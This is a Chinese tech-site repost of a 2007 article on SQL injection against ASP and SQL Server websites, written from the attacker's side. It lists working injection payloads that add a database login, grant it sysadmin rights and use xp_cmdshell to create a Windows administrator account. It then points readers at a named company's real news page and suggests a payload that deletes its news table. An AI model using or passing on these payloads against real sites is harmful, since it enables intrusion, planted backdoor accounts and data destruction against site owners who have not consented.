科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道SQL数据库的一些攻击 (1)

SQL数据库的一些攻击 (1)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率 也比较高。

作者:eysw 来源:20CN网络安全小组 2007年9月11日

关键字: 攻击 数据库 SQL Server SQL Server 各版本

  • 评论
  • 分享微博
  • 分享邮件
 

对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率 也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编 程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!

这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec

sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....

这种方法请求数据库,那么如果还用以上的例子就会 news.asp?id=2;exec sp_addlogin hax

变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...

整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法 news.asp?id=2;exec sp_addlogin hax;--

后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!

那么我们连一起来用吧

news.asp?id=2;exec master.dbo.sp_addlogin hax;-- 
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;-- 
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;-- 
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax 
hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes 
/active:yes /add';-- 
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--

这样,你在他的数据库和系统内都留下了hax管理员账号了

当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。

以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵

当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了

再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。

你如天融信的主页,有新闻内容,如下:

http://www.talentit.com.cn/news/news-2.asp?newid=117

大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--

呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束

那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--

哈哈,我想只要表名猜对了,新闻库就被删了

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章